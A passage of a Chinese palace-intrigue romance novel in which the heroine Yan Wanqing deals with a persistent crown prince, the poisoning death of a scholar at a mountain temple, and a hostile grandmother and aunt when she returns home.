“……你年纪轻轻怎么脑子就不行了?十岁的事情你都想不起来?!”耳边传来炸毛的声音。 燕晚清被他拥在怀中,感受着被褥之下兴风作浪的手,面红耳赤:“谁会记得自己小时候的事情。” …… 与此同时。 宴会大厅。 秦舞面色苍白,双手不安的交握。 “你不是说就放在这里的么?东西呢?” 婢女浑身都在颤抖,恨不得跪在地上:“……奴婢真的就放在这里了,只是出去了一小会儿,回来就不见了。” 秦舞死咬住下嘴唇,要的唇瓣发白。 那酒水里加了萧鸿深给她的东西,哪怕是只喝了一杯,也能让人扛不住。 那本是她准备给太子萧蘋风的。 现在不翼而飞了。 “这可怎么办啊公主。”婢女害怕的瑟瑟发抖,东西是她准备的,要是被人抓到了宴会之上出现了这种东西,她十条命都不够活的。 秦舞阴沉道:“闭嘴。” 眼下没有知道这壶酒究竟被谁拿走了,现在宴会之上也没有人表现的不正常。 哪怕事情闹到了她的面前,她也可以死不承认。 “今天什么事情都没有发生知道了么!”秦舞呵斥道。 婢女点点头,眼里依然有恐惧。 秦舞摁住她的肩膀:“现在回去收拾东西,明天一早本公主便去和皇后娘娘辞行,没有人会查到我们头上来。” 婢女点点头,下去了。 秦舞环保手臂,忍不住啃咬自己的指甲。 这是她紧张的时候就会有的习惯。 她本意是哪怕不能当萧蘋风的太子妃,也要与这样优秀的男人春风一度,运气好还能够怀上他的孩子。 可终究事与愿违。 秦舞眼里闪过遗憾。 那般优秀的男子,眼中却没有自己的位置,这件事情可能会在之后回到秦国的很长一段时间,都让她耿耿于怀吧。 突然。 秦舞像是想到了什么,她下意识去看一个位置,位置上空空如也,只有一个丫鬟站在那边。 那是燕晚清的贴身丫鬟。 “你家小姐呢?”秦舞忍不住问道。 从歌规规矩矩的行了一个礼:“见过公主,回禀公主,小姐她有事先出去了,一会儿才回来。” “出去了?和谁?”和太子么? 秦舞后面几个字没有问出来,一颗心提到了嗓子眼。 只见从歌低眉颔首:“回公主,是北疆的小侯爷,二人说大厅有些闷,便出去吹吹风了。” “啊……这样啊。”秦舞感觉自己的心脏又落回了远处。 只要燕晚清没有和太子待在一起,那她就放心了。 秦舞也不知道自己在害怕什么,今晚宴会之上,太子几次三番的目光都落在燕晚清身上,明眼人都能看得出来他对她的与众不同。 可是凭什么。 凭什么燕晚清就能轻而易举的得到她所有得不到的东西? 小时候是父亲的赞赏,长大便是那尊贵男子的在意。 秦舞心中原本对燕晚清的崇拜,不知不觉的被嫉妒全部冲散。 从歌觉得奇怪,这秦国公主怎么突然过来打探自家小姐的消息,见她周身阴气沉沉的离开后,从歌松了一口气。 心里想着,小姐到底什么时候才回来。 这大殿之上的人,都一点不好相与啊。 而原本被从歌以为和燕晚清待在一起的北疆小侯爷,此时正坐在屋顶上,对着冷月饮酒。 身边跟着一个一身红衣的妖孽男子,皮肤在月色衬托下熠熠生辉。 “小怀玉,此行你的目的不是迎娶镇国公的大小姐么,怎么刚刚将人让出去了。” 怀玉捏着酒壶,面庞微微柔和了些许,她看着天上的圆月,喃喃道。 “或许,我本就不该将自己的苦难施加到别人身上。” “你放弃了?”红衣男子在他身边坐下。 怀玉摇摇头,眼底有戾气:“放不下,守护北疆是我生下来就肩负的责任,只是……”他脑海中想起那个清冷迭丽的女子,心有不忍:“北疆太过湿冷,不适合她。” 他也不是良人,更加不能拉她下水。 红衣男子却摇了摇头。 “小怀玉,你怎知你和那安平郡主不是同类人呢?”他瞧着那郡主人前矜贵如仙人,可是某些地方却是说不出的阴暗灰色。 肯定是个非常有故事的人,至少不像她外表表现的那般简单。 怀玉摇头叹气:“此事作罢,再想想其他的办法,既然已经来了,我也想有机会看看热闹非凡的京都。” 红衣男子却不敢苟同。 “热闹的地方向来是非多,你本就身份特殊,京都可不适合你。” “适不适合只有呆了才知道,你放心,我不会再心慈手软了。”怀玉沉声说道。 红衣男子却好似根本不相信,他低笑:“但愿如此。” 他伸了个懒腰:“不过这京都女儿个个水灵温婉,和咱们北疆的姑娘不太一样啊。” 怀玉仰头喝酒,并不搭这话。 脑海中还是那抹清冷的身影。 可南山注定是不太平的。 昨夜有人放火烧山,今夜便有沙弥在井里捞出了一具尸体。 不是别人。 正是之前和燕红昭发生过争执的王书剑。 他死了! 死了之后,被人丢进了井里。 收到这个消息后,天刚好大亮,僧人们也不敢半夜去惊扰贵人们的休息,只能忍着到了天亮才放出消息。 这边。 燕晚清被人强行搂着睡了一夜。 她也不清楚自己是怎么睡着的,吵也吵不过,打也打不过,半梦半醒,昏昏沉沉的便睡了过去。 醒了的时候,只感觉到有人在给她穿衣服。 睁开眼,就看见那张美人脸,一脸认真的研究着罗裙的绑带。 燕晚清的脸,一下子就烧起来了。 第二十九章 午夜惊魂,探花郎死了 燕晚清这辈子做梦都没有想到,有朝一日能让这位眼睛长在天花板上的太子爷,跪在床上给自己穿罗裙。 “今天是不是要有大事发生……”燕晚清喃喃自语。 某位爷看着她醒了,目光从她瓷白巴掌大小的小脸上,缓缓下移,看见她脖颈锁骨处的印记后,神色几番晦暗。 燕晚清意识到不好,将身前的被子往上拉了拉。 见到风景都被遮挡,某人有些可惜的收回了视线,将折叠好的白色内衫从床尾拿了过来:“你是要自己穿,还是帮你?” 字眼落在“帮你”的时候极其的暧昧不明,燕晚清脸红,一把扯过。 “自己穿。” 她将自己缩到被子里,好在不如罗裙复杂,虽然热的一头的薄汗,好在是穿好了。 有了衣服遮挡,她的心理也有了一丝底气。 “过来。”那人松垮垮的穿着一袭内衫,已经站在了地上,双手撑着她的罗裙。 燕晚清震惊于他的坦然,但是此时外面已经大亮,她不能在这么磨磨唧唧下去了,更何况她真的不会穿这复杂的裙装。 可是为什么养尊处优的太子殿下懂的如何穿女子的罗裙? “你是不是在想孤玩的花,脱得多了自然就会穿了。”阴恻恻的声音从耳后响起,燕晚清吓得缩了缩脖子:“不曾这样想。” “哼。”太子冷哼一声:“最好是。” “孤小时候有一段时间,母后很喜欢给孤穿裙装,一来二去的就会了。”他鲜少有耐心的解释。 燕晚清听到这话,脑海中隐约有了个模糊的影子。 却怎么也想不起来。 于是她干巴巴的笑道:“定是殿下生的粉雕玉琢,所以先后才想打扮殿下。” 萧蘋风却似乎是想到了什么不好的东西,眼神里闪过一缕黑气,但是他很快恢复正常,不再说话,有条不紊的给燕晚清将复杂的罗裙穿戴完毕,甚至还给她挽好了头发。 罗裙经过昨夜的摧残有了褶皱,看起来有些不美观,完美主义的太子爷直接用内力给裙子抹平了。 惊得燕晚清不知道说什么好。 此时她除了眼底有些青色,整个人已经看不出什么异常了。 “燕晚清,回京城了,等着孤十里红妆来娶你。”太子爷翻身从后窗越出去的时候,踩在窗沿上,背对着燕晚清侧首回眸,青年眼中的志在必得,让她的心跟小鹿一样乱窜。 等到人走了,她才伸出手摁住胸口。 这是怎么了? 燕晚清花了一会儿时间平复心情,才稳定心神走了出去,绕着庭院转悠了一会儿,碰到了来找自己的从歌。 从歌眼底都是铁青色,一看就是找了自己一晚上。 燕晚清看到了十分心疼。 从歌一看见燕晚清,就心急如焚的说道:“小姐,五姑娘被人抓走了。” 燕晚清愣了一下:“怎么回事?” “刚刚寺庙里有人传消息说死了人,紧接着五姑娘就被人带走了。” “死了人?谁?” 从歌喘着气:“就是前不久来咱们家提亲的那个探花郎。” 燕晚清瞳孔骤缩。 王书剑死了?! 前世直到整个燕家覆灭都没死的王书剑,竟然这辈子直接死在了南山。 谁干的? 她蓦地胸口升腾起一股子怒气。 王书剑是她留着等着钓鱼的棋子,究竟是谁动的手! 燕晚清抿着唇抬脚往前走,从歌紧跟其后。 “这件事情皇后娘娘知道么,谁开始调查了?” “皇后娘娘还未起身,通知的人已经候在寝殿门外了,知道也是早晚的事情,昨夜只有七皇子在寺庙里,所以一早僧人们便去通知了他,现在应该是他的人在处理这件事情。” 燕晚清脚步不停,脑海中疯狂开始旋转从南山开始的一切。 她怎么也没有想到王书剑会死。 “他不该死的。”至少不应该死在这个时候。 究竟是谁动的手…… 燕晚清赶到的时候,王书剑的身体已经从井里被打捞了出来,一出来就盖上了白布。 她站在院子的小门往里面看,只能看见萧鸿深站在井旁边,正在低头往里面看。 院子里只有几个下属,还有个沙弥,看样子应该是昨夜第一个发现尸体的人。 萧鸿深听着下属说话,注意到门口站的人,他冲着燕晚清眼神示意。 燕晚清微微颔首回礼,却并没有走过去。 她无官无职,不过是个郡主,王书剑乃是新晋探花郎,而且这件事情还牵扯到了五妹,所以显得十分棘手。 萧鸿深跟下属说了几句,朝着自己这边走了过来。 “老师过来是因为五小姐的事情吗?” 燕晚清点点头:“五妹突然被带走,有些着急,所以过来看看。” “只是简单盘问一下之前和王书剑交集的人,很快便会将五小姐放回去的,老师不用担心。”萧鸿深眼底都是血丝,他细细的打量着面前的燕晚清,见她眼底青色,轻声问道:“老师昨夜没有休息好么?” 燕晚清哪里敢回忆昨夜,含糊带过:“昨夜有些冷,所以睡得不是很踏实。” 萧鸿深看她衣着单薄,朝着下属招了招手,便将自己的披风送了过来。 燕晚清后退一步,她赶紧拒绝:“七皇子不必,不冷。” “老师要照顾好自己,别让本殿心疼。”他举着披风,十分固执。 燕晚清身心都在抵触。 萧鸿深叹了一口气:“本殿身上还有伤,老师当真一点都不心疼本殿。” 燕晚清:“……那就谢过殿下好意了。” 萧鸿深眼神温柔了不少,刚要给她把披风穿戴好,就见一件漆黑狐裘披风从天而降,直接盖住了燕晚清,紧接着一双大手将她整个人转过来。 是太子萧蘋风。 燕晚清被扶着肩膀,原地转了个圈,一脸惊疑的面向男子。 “太子殿下?” 这货怎么又来了。 太子爷深深的看了一眼萧鸿深,手却不闲着,直接将披风给燕晚清穿好了。 “七弟拿着披风干嘛呢?天气冷,你快给自己穿上。”穿完还不忘挖苦两句:“昨天的伤还没好吧,可别冻着了。” 萧鸿深捏着披风的手紧握成拳,骨节泛白。 他挤出一丝笑容:“多谢皇兄关怀。”披风被放在了臂弯上,他回首看向院子里的人:“都愣着干什么,干活!” 太子爷低头,眼底闪烁着诡谲的光,他压低声音耳语:“你东西忘了,给你送过来。” 说着一个香囊被他从披风下面塞进了她的手里。 燕晚清心里咯噔一下,下意识的捏紧香囊,咬牙切齿:“你究竟想要干什么!” 追到这里,还做出这种让人误会的举动。 男人,实在是太麻烦了。 第三十章 士大夫可能会迟到,但不会不到 “怕你冻死了。”太子爷见她神色不明,冷哼一声:“不识好人心。” 燕晚清强压心里的怒气,告诉自己,以上犯下要诛九族,成功挤出一个不失礼貌的笑容。 同时暗骂自己不小心将贴身的香囊丢在了房间里,也没有发现。 就在她小心翼翼地将香囊藏好时,然后传来萧鸿深的声音。 “有人说前天郡主也和王探花在大庭广众之下有过磕碰,是这样么?” 燕晚清闻言缓缓转过身:“王探花之前向五妹提亲被拒,南山之上他再度纠缠,又见他出言不逊,所以才出手教训了一番,事后便和五妹一起去参加皇后娘娘的赏梅宴会了。” 她细致的回应之前发生口角的一切,又说道:“当时很多人都在场,七皇子随便找两个人询问便可知,事后我等并未和探花郎再有任何交集。” 萧鸿深见她周身都被包裹在黑色的披风之下,越发衬托着她整个人白皙娇俏。 “七皇子可以找赵家公子问一下,他和探花郎走的还是比较近的。”燕晚清说道:“不过当务之急,还是要尽快找仵作检查一下尸体,看看探花郎究竟是怎么没的。” 寻常女子若是见到这种场面怕是早就要吓晕了过去,只有她还能侃侃而谈,萧鸿深眼里都是偏执,袍子之下的手掌捏的很紧。 “这里不方便说,郡主若是方便,还请跟本殿来一趟。” 他不想看见太子出现在燕晚清的周围。 还有那该死的披风,碍眼的让他快要疯掉。 燕晚清自然是没有异议,自己过去说清楚,尽快将五妹接回来:“当然可以。” “郡主请。”萧鸿深侧身让开道,燕晚清也不扭捏,抬脚往前走。 萧鸿深心思微沉,刚要跟上去,便见身侧一袭紫袍擦肩而过,他蹙眉:“皇兄!” 太子爷脚步不停:“七弟快些,赶紧审完了,别耽误回京的时间。” 萧鸿深忍着身上的棍伤,跟了上去:“皇兄也要一起去吗?” 太子爷站停,好看的剑眉微微上扬,不可置否:“孤不能去?” “……可以,皇兄当然可以去。”萧鸿深没有想到萧蘋风的时间这么多,平日里身边什么时候不是跟着一群士大夫,来南山的时候也不停歇,怎么今日就有了空。 那些该死的士大夫今天究竟去哪儿了,能不能管管这位! 三人缓步走到了寺庙一处僻静的佛堂里。 那个盖了白布的尸体便放在了大堂中央,佛祖怒目而视,今日偏有阴天,整个山间都飘荡着雾气,说不出的阴森可怖。 佛堂里站着几个人,可不就是当时争吵时的几位么。 那几个纨绔子弟姿态恹恹,见到太子他们过来,如坐针毡,赶紧过来行礼。 “免礼。”太子轻轻挥手示意诸位起身,之后便做出一副事不关己高高挂起的姿态了。 看的一旁的萧鸿深脸色又阴沉了些许。 燕晚清进门便看到了燕红昭,平日里大大咧咧的她此刻安静弱鸡的呆在角落里,小脸煞白,看到自己之后双眼都在冒光。 燕晚清见她无事,便安定心神,询问道:“仵作还要多久才能过来?” “少说还得两日,京中最能干的仵作现在被调去了附近的一个乡镇上,回来需要时间。。”萧鸿深沉着脸道。 “不行。”燕晚清可没有这么多耐心一直浪费在南山,时间对于她来说是特别宝贵的:“两日会出现很多定数,尸检的黄金时期就是十二个时辰以内。” “可……在座的这里没有人会尸检了。”萧鸿深不是不知道这些,来南山的多是达官贵族,这些人都是享福的,哪里会尸检啊。 燕晚清目光清澈又坚定:“如果七皇子不介意的话,臣女可以一试。” 萧鸿深眼眸晦涩不明:“安平郡主还会验尸?”她的身上到底还有多少惊喜是自己不知道的?! 燕晚清点点头:“年少无聊的时候学过。” “还是别了吧,郡主只是学了个皮毛,就要来验尸,到时候尸体验坏了,证据没了,找谁说理去。”人群中赵琦干巴巴的说道,说完他又觉得不妥,赶紧补充:“不是说郡主学艺不精,只是这是人命关天的大事,这里这么多人都和探花郎有过交集,郡主包括郡主的胞妹都在,还是要稍微避嫌比较好。” 萧鸿深心里有些迟疑,一时之间没有最先开口说话。 燕晚清心中无奈:“既然这样,那就算……” “孤记得,安平郡主师承宋化虚,尸检也是从他那边学来的么?”一直不说话的太子爷终于开了口,他的声音很有安抚人心的味道,说完整个大堂的人都安静了下来。 萧鸿深忍不住背地里翻了白眼。 燕晚清点头:“回禀太子殿下,是的。” 此话一出,众人大惊。 宋化虚虽然无官无职,可是深受皇帝喜爱,又有十八般武艺,那是无一不精,当年一针下去便破了十年悬案的故事至今被人口相传,所以一直被大家尊称一声国师。 倘若燕晚清是宋化虚的徒弟,那么她的尸检可就不能简简单单的说是学了个皮毛了。 赵琦将自己掩盖在人群后方,伸出手捂住的嘴巴。 祸从口出。 此时太子爷姿势优雅的斜靠在柱子边上,宛若翩跹:“安平郡主果然不同凡响,七弟你看着办吧。”问题被轻轻的一抛,丢给了萧鸿深。 萧鸿深觉得昨夜的军棍都没有此时此刻自己的心口疼。 “臣弟记得不错的话,皇兄也师承国师吧?” 燕晚清听到赶紧看向太子,她怎么没有听宋化虚提过。 太子爷单手托着下巴,笑出眯眯眼:“七弟想让孤亲手解剖探花郎?” 这怎么使得! 那可是未来要继承大一统的太子殿下。 王书剑算什么东西,能让这位去亲手尸检?! 众人都觉得不妥。 “不可,万万不可!太子殿下乃是千金之躯,哪里能够做这种污浊的事情!”突然从门口走进来一群胡子白花花的老者,为首的脚步蹒跚,说话中气十足,便是平日里一直跟在太子爷身后的那群士大夫了。 士大夫可能会迟到,但不会不到。 太子爷遗憾的叹气,拍了拍萧鸿深的肩膀:“七弟辛苦,孤先去和赵太傅讨论政事了,林平之死了一了百了,这江南的商贾运行却乱成一套了啊……” 他说罢走出了佛堂,身后一群老者紧跟其后,生怕被丢下了。 萧鸿深抿着薄唇,眼底都是寒气。 林平之的事情……他又在警告自己! 该死! “若安平郡主是国师的徒弟,眼下自然是最有能力解剖尸体的,只是她……”众人不免有些担心,毕竟前天燕晚清把王书剑骂晕了的事情历历在目。 既然是这样,燕晚清也不强求。 就在这时,门外走进来一个身披袈裟的和尚,满脸慈祥。 竟然是昨夜早早退场的虚无方丈。 “贫僧愿意一试。” 第三十一章 这女人怎么回事,油盐不进 南山寺出了名的姻缘和尚竟然会尸检! 众人对此都有些不敢置信。 虚无扯出一个人畜无害的笑容看向燕晚清他们:“你们现在也没有更好的选择,不是么?” 众人:“……” 尸检从清晨晨光破晓,一直到傍晚黄昏,中间虚无连午饭都没吃。 等他出来之后,萧鸿深第一件事情便是带着人去把赵家公子赵琦给绑了。 燕晚清听说这个消息的时候,从歌正在给她收拾东西,从欢站在院子外面眼巴巴的往里面看着。 “那丫鬟,留在身边迟早是个祸患。”从歌将妆卤匣子关好,犹豫再三还是小声对着燕晚清说道。 燕晚清眼皮子不抬,捏着一枚白子,托腮看棋盘:“除掉倒是容易,不过明枪易躲暗箭难防,没了她,后面还会很多其他人。” 从歌也不是愚笨的:“奴婢明白了,奴婢一定盯紧她。” 燕晚清勾唇莞尔。 她自然是已经派了人亲自盯着从欢的一举一动,看着日日上传的消息,此时的从欢俨然是七皇子萧鸿深的走狗了,一颗真心都恨不得煮了送到萧鸿深的嘴边去。 想想她这些年也没有苛责过从欢半分。 怎么就养不熟呢? 哪怕是养条狗,都亲人三分。 燕晚清只叹息人性难测。 孙氏就在这时进了门,一身的露水味道,进来便将身边的丫鬟们屏退了。 “母亲。”燕晚清将心思从棋盘上收回。 孙氏草草的看了一眼棋盘,眼神中却不掩饰惊诧。 燕晚清随手便将棋盘打散:“母亲怎的深夜过来了,明日才返京呢。” 孙氏将棋盘散落在外的一枚黑子,拿起来又轻轻丢进了棋篓里,难掩担忧:“杀心太重可不好。” 那看似平平无奇的棋盘上面,纵横交错,杀机四伏,不过是浅浅的扫了一眼,就让她心惊胆寒。 燕晚清捏着孙氏的手掌轻轻摇晃:“不过是上古棋局,女儿研究着玩儿的,母亲无需担忧。” 孙氏见她不多说,也只好作罢。 她的女儿自小便有主意,尤其是出现了这样的大事之后,性子便更加是让人捉摸不透了。 她将这件事情压下来,开口道。 “母亲想与你说,府里传来消息,你那嫡亲奶奶昨日已经到了,明日咱们回京便能看见了。” 燕晚清闻言直接蹙眉:“她在虎丘住的好好的,为何要上京?” 孙氏摇了摇头,她不讨婆婆欢喜,对于婆婆的突然登门,心里也是不安的,尤其是那位与自家女儿之间更是关系不和,她今日特意过来嘱咐一句,就是希望燕晚清可以找机会不回去,或者晚回去,熬到那位在上京玩累了走了,燕晚清再回去便刚刚好。 可是燕晚清怎么可能不回去呢。 “母亲不必劝我,老太太不喜我也不是一天半天的事情,不过那都是当初跟着父亲打仗时候的事情,眼下我已经待字闺中多年,老太太再是恼火,我也是圣上亲封的安平郡主,她不至于下我的面子。” 燕晚清自然不会因为一个老太太突然上京,就将自己复仇的计划搁浅的。 事情说到这个份儿上,孙氏只好消了自己的心思,只希望明日这祖孙俩见面,不要大动干戈才好。 孙氏有这份焦虑也是很正常的。 燕晚清十岁上战场回来后,便被老太太摁在了老虎凳上打的屁股皮开肉绽,在榻上躺了一个多月才好,还扬言再看见她舞刀弄枪就给她打死。 可惜时隔不过半年,燕晚清又跟着自家父兄上了征途,这回走之前还将老太太养了多年的鹦鹉给放生了,气得老太太骂了三天三夜。 这些还都是大事,平日里的小事多到数不胜数,只要这俩人呆在一个地方,那便是鸡飞狗跳,上蹿下跳,骂声迭起,明眼人都看得出来这老太太是极度不喜欢燕家的嫡长女的。 所以燕晚清十五岁回来之后,老太太怕自己被气死,直接搬回了虎丘老家,这些年对于京城的所有消息都是不闻不问。 燕晚清感觉到稀奇,这也是前世未曾发生过的事情,所以她来了兴致。 “否极你去查一下。” 否极倒挂在房梁上,像个黑蝙蝠:“主子的二叔前些时日被召回了京都任职。” 燕晚清挑眉:“我二叔?他不是前些年犯了事情被下放了么,这才几年就能又回来了。” 否极一本正经,比了个手势。 燕晚清嫌恶的撇撇嘴,意思就是她二叔花了点烂钱,又从下面上来了。 “所以他就怂恿了老太太上京。”燕晚清这下子心里清楚了,二婶婶一直陪着老太太住在虎丘,他们俩夫妻同心,定是那二婶婶帮着撺掇的。 燕晚清揉了揉眉间,真是外忧内患,剪不断理还乱。 王书剑怎么死的这件事情还扑朔迷离,昨夜那壶有问题的酒水也没有查清楚来源,燕晚清只感觉自己和燕家都被无形的大网捆绑在其中,此刻压得她窒息难忍,动弹不得。 若是有人可以帮帮她就好了。 燕晚清走到窗台前,将窗户推开,让晚风吹进来,她呼出了一口浊气。 心烦意乱中,她抬头想看看月亮,结果一眼看到了对面屋顶上坐着的一抹白影。 燕晚清:“……” 那人似乎一直盯着这边,见到窗户被推开,他倒是不躲不避,目光灼灼的直接盯着燕晚清看。 大晚上一身白衣坐在女眷对门的屋顶上,这件事情除了当今那位表里不一的太子爷,恐怕也没有人能够做得出来。 燕晚清就想不明白了。 不过是睡了一晚上。 这位爷,怎么脸都不要了。 好歹是当今太子爷,身上无数光环压身,外面传的沸沸扬扬的天下之光的男人。 为何背地里是个会吃飞醋,霸道又粘人的主。 燕晚清推开窗户感觉更加心烦意乱了,她小脸一沉,拿掉了撑着窗户的木条。 于是对面吹了好久冷风,好不容易看到人的某位爷,只看见对面那抹娇俏的身影一闪而过,紧接着窗户又紧紧地闭上了。 某位爷脸上的笑意随即冷了下来。 他将怀中的一本皱皱巴巴的书掏出来,上面俨然写着《擒爱娇妻九十八招》,他翻了翻内容,嘴里含糊不清。 “……打直球,烈女怕缠郎,霸道表白,这些孤都做了啊。”他胡乱又将书塞了回去,拧着好看的眉头:“这女人怎么回事,油盐不进。” 第三十二章 不速之客,又见风云 赵琦是被连夜压回的的京城刑部大牢。 萧鸿深的手下还从他的屋子里翻出了一瓶鹤顶红,跟虚无方丈给出的王书剑中毒身亡的讯息基本吻合,但是赵琦死不承认,萧鸿深决定慢慢审。 毕竟赵琦祖上有功勋,赵家在京都也是有头有脸的人物,不能轻易定生死。 南山之行终于结束了。 虽然失去了王书剑这个钓大鱼的饵,可对于燕晚清来说,收获颇丰。 除了一点。 和太子萧蘋风之间的故事。 这是她没有盘算到的。 马车缓缓徐行,今日暖阳高照,马车内的温度也直线上升,燕晚清也热的脱掉了披风,一张小脸红扑扑的,看着终于有了些血色。 只是马车刚到门口,便听见呼天抢地的哭声,哭的她心烦意乱。 “何人喧哗?”燕晚清蹙眉问道。 从歌便赶紧下车去查看,回来对着众人说道:“是那王氏。” 宋姨娘一听是王氏,立刻拉紧了自己女儿红昭的手,满脸忧愁:“这……她来做什么?” “那王氏觉得自己儿子枉死,跟咱们家有关系,怪罪当初不该拒绝他的提亲。” 燕晚清听罢冷笑一声:“真是个笑话!” 孙夫人手里的佛珠也跟着转了两颗,没什么语气:“去报官。” 不光是燕晚清有些诧异自己娘亲今日如此决断,就俩宋姨娘也有些惊讶:“这样不好吧姐姐。” “那就任凭她闹,败坏咱们家女儿的名声?”孙氏眼皮子不抬。 宋姨娘一想也是,便赶紧掀开车帘,让小厮去报官了,官府来的人很快,很快王氏还有她请过来哭丧的婆娘,就被捉拿走了。 燕晚清这才扶着母亲下马车,只不过脸上冷冷清清。 “中午想吃什么?你在南山落了水,回家定是要好好补补身子的。”孙氏拍着她的手背嘱咐道。 “一切都听母亲的。” 说话间,从大厅里走出来两位妇人,前面的一身绫罗绸缎,珠光宝气走路叮当作响,后面的则是个灰扑扑的老嬷嬷,不过满脸刻薄,看起来不好相与。 燕晚清见来人走到面前,只得喊了一声:“见过二婶。”后面的燕红昭燕子濯也跟着喊人。 那二婶四下打量了刚进门的众人,看见燕晚清的时候眼前一亮:“哟这就是晚清吧,几年不见长这么大了,当时你还不到二婶膝盖呢……”说着她又看向后面的燕红昭和燕子濯:“这俩是嫂子后来生的孩子吧……哎呦呦长得真水灵啊这姑娘,这小家伙也虎头虎脑的。” 孙氏微不可及的挪了一下位置挡住了身后的两个人。 她看了看身后的大厅,目光微沉:“小六呢,跟着回来了吗?” 小六,燕凌珍。 当年老太太去虎丘的时候非说孤单,要带走燕家一个孩子。 便选了老六,这么多年过去了,那孩子也应该有十二了。 二婶面上笑容有了些许奇怪,她点点头:“小六前段时间摔伤了腿,还在虎丘休养,过些时日就接过来了。” 燕晚清听罢蹙眉:“老家的人都过来了,六妹摔伤了腿由谁照料?” “晚清啊你别担心,庄子上还有人的,怎么可能没有人照顾小六呢。” 燕晚清面上清冷,她看着眼前这位二婶,脑袋上还有她去年送给六妹的生辰礼——一根玉簪,选的去年最好的和田玉料子,由她亲手雕刻。 当下便知道六妹在虎丘的庄子上过得是什么日子了。 孙氏自然也是看见了,手里的佛珠都有些转不动。 “别担心了,快些进去吧,老太太等你们回来等好久了。”二婶说着去拉燕晚清的手:“老太太这些年可是一直念叨着你呢。” 众人刚要进屋,便听见外面又传来下人传报。 “夫人小姐,六小姐回来了!” “什么?”二婶皱眉大呼。 燕晚清一把甩开她的手,转身朝着大门走去,燕子濯和燕红昭紧跟其后。 只有孙氏站在原地,像是双脚被青石板粘住了一样,宋姨娘站在她身边,扶住了她的胳膊。 燕晚清一出大门,便看见一个俏生生灰扑扑的小身影从马车上下来。 身形瘦削,小脸还有些惨白,脚上缠绕着绷带,上面灰扑扑的全是灰尘,看见自己出来,手就不自觉的抓住了身边人的衣角,非常怕生。 燕晚清听到嬷嬷跟她说自己,才看见六妹舔着干涩的唇角,怯生生的喊了自己一声:“大姐。” 她登时觉得心尖都酸了。 前世六妹一直到死,都不在自己和母亲身边,明明是燕家的孩子,却被一直养在了庄子上,就因为老太太一句孤寂。 “把我的拐杖拿过来。”小六燕凌珍对着嬷嬷说道。 嬷嬷拿来了拐杖,便看见燕凌珍拄着拐杖往这边走,她一边走一边打量着众人:“……这是五姐姐吧,这边是小七弟弟……” “你的腿是怎么伤的。”燕晚清蓦地问了一句。 燕凌珍抬头看着看似有些清冷的大姐姐,轻轻的摇了摇头。 “怎么了?”燕晚清又问:“不清楚还是不能说?” 燕凌珍抿着唇还是没有开口。 身后的燕子濯走上前,打量着自己的姐姐,伸出一只手去牵着她:“六姐姐,小七扶你。” 燕凌珍感激的笑了笑:“谢谢弟弟。” 姐弟俩搀扶着,吃力的上台阶,一旁的燕红昭看不下去了,她眼圈发红上前一把将燕凌珍抱起来:“别怕,我抱你进去。” 好在燕凌珍只是刚被抱起来惊呼一声,后面便温顺的像是一只小猫了。 感受着怀中瘦的跟皮包骨头的小六,燕红昭眼底都是怒气,她忍不住看向自己的大姐,却被大姐眼底的肃杀吓得一激灵。 大姐好似要杀人…… 这样的神情,她有多少年没有看见过了。 不过很快,燕晚清就恢复了正常。 她伸出手揉了揉燕凌珍的小脑袋,笑的一脸温柔:“进去吧。” 燕凌珍乖巧的说了一声好,无人能看见她将头靠在燕红昭身上时,嘴角一闪而过的微笑,像极了一只小狐狸。 燕晚清走在前面,手里牵着燕子濯,身后一身红衣的燕红昭便抱着燕凌珍,姐弟四人从大门口齐刷刷的进门,不怎么的,众人都有种古道西风瘦马的凌厉感。 “母亲,六妹回来了。”燕晚清冲着母亲孙氏说着,目光却幽幽的落在了二婶身上,无端看的那妇人一身恶寒。 第三十三章 没有别的优点,就是喜欢记仇 二婶看见燕凌珍的瞬间,眸子里便迸射出恶毒的光,只不过她碍于众人都在,只得咬牙咽下心中的恶气。 “都别在外面呆着了,怪冷的,先进屋去,老太太该等着急了。” 她说着率先抬脚朝着内屋走去,那姿态俨然自己才是这里的女主人。 饶是脾气最好的宋姨娘也不禁摇了摇头,叹气。 孙氏站的笔直,她将佛珠串子套在了手腕上缠绕了三圈,然后左右拉伸了一下脖子,语气平淡沉着:“进去吧。” 身后跟着燕家一众子女,浩浩荡荡的进了屋子。 那架势不像是去说话,倒像是去打架的。 等众人都进了屋,燕晚清便看见了当年拿着鸡毛掸子追着自己抽的老太太,此时已经有点老态龙钟了,满脸都是丘壑,眼里的刻薄之态确实一丁点都没有变。 众人行了跪拜礼之后,长辈们落座,小辈们便站在了一边。 燕晚清因为身份特殊,乃是郡主,也一并坐下了。 她的身体也站不了多久。 “小六,过来。”她坐下的第一件事情便是朝着燕凌珍说话。 燕凌珍拄着拐杖不明所以,但还是很乖巧的走了过去。 燕晚清双手用力将人直接抱坐在了怀中,惹得二婶连连惊呼:“这可使不得,晚清你现在可是郡主,身子骨又弱,那能这样抱着小六。” 燕晚清勾唇,她将小六牢牢的抱在怀中,颇有护犊子的姿态:“小六有伤,本郡主见不得她站着吃苦,更何况姐妹多年未见,她身形又如此娇小,抱着也不吃力,二婶倒也不必如此紧张,本郡主也不是纸做的。” 听着这些话春风细雨的,但是就是落在心上不舒服。 二婶面色讪讪:“那也……” “大姐,我还是下去吧。”燕凌珍小奶音响起,她眼圈微微发红:“小六喜欢站着,大姐你别抱我了。” 这话一说,别说是燕晚清,就连一直面无表情的孙氏都跟着表情晦涩不明。 他们一向都知道燕凌珍跟着老太太的日子可能会不好过,但是从未想过竟是这般。 想到这些年他们在镇国公里无忧无虑,小六却在庄子上吃苦。 他们还碍于跟老太太之间的纠葛,不敢去看小六,一时之间燕家人心里都很不是滋味。 燕晚清双手牢牢的箍住怀中的小家伙,她略有挑衅的看着早就不开心的老太太,先发制人:“你腿上有伤,也不能站着,辛苦嬷嬷去多准备些椅子,大家都坐下吧,咱们燕家没有这么多的规矩。” “混账!”此话一出,老太太龙头拐杖往地上狠狠一杵。 这是她在众人进门后的一句话。 燕晚清感受到弟弟妹妹被吓了一跳,年纪小的燕子濯直接扑进了燕红昭的怀里,几乎就要哭出来了。 “没有规矩不成方圆,哪有长辈说话,晚辈也平起平坐的。燕晚清你别以为自己是个郡主,就不当燕家人了,在燕家,你就得守规矩!不想坐着,那你也站着听话吧!” 老太太冷着脸骂道,神情像是一条吐着信子的毒蛇。 “老太太这是在教本郡主做事?”燕晚清一点也不怯场。 眼下孙氏没有发话,那么便是任由她去对抗这个养尊处优的老太太。 